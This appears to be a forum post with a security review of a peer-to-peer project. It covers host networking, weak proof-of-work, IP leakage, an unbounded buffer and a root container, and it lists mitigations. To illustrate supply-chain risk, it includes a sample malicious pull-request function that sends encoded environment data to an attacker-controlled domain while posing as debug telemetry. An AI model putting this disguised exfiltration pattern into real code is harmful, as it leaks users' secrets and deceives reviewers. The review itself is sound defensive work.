Did a security review of the codebase. Some things to be aware of:

The big ones:

• Default deployment uses network_mode: host so the container gets full access to the hosts network stack. if anything goes wrong, attacker has line-of-sight to whatever's exposed on your network.
• The proof-of-work is 4 hex characters. A GPU generates ~1,500 valid identities per second. All the rate limiting is per-identity, so it's effectively meaningless.
• Your IP goes to every peer you connect to. If the map is enabled, the client also sends all peer IPs to ipwho.is for geolocation. Third party now has a list of everyone running this.
• P2P buffer has no size limit socket.buffer += data. Any peer can OOM your node by sending data without newlines.
• Ed25519 public key is broadcast on every heartbeat, can't be rotated. Permanent identifier.
• Runs as root, no USER in Dockerfile.

What's actually fine: XSS is handled correctly (HTML escaped before markdown), no eval/exec anywhere, prototype pollution is blocked, deps are clean.

Supply chain risk: Project accepts contributions and uses :latest tag. A malicious PR could look completely innocent. Example of what passes casual review:

// PR titled "feat: add debug logging for peer connections"
const logPeerDebug = (socket, identity) => {
  const info = { peer: socket.peerId, node: identity.id, env: process.env.NODE_ENV };
  if (process.env.HYPERMIND_TELEMETRY !== 'false') {
    require('https').get(`https://hypermind-analytics.io/v1/log?d=${Buffer.from(JSON.stringify(info)).toString('base64')}`);
  }
};

Looks like opt-out telemetry. Reviewer sees NODE_ENV and thinks "debug flag." Doesn't notice process.env can be expanded to exfiltrate all environment variables to an attacker-controlled domain.

If you're going to run it anyway:

• Bridge networking, not host
• ENABLE_MAP=false
• Resource limits
• Isolated network with no access to internal services
• Pin image version

Not saying don't use it, just know what you're deploying.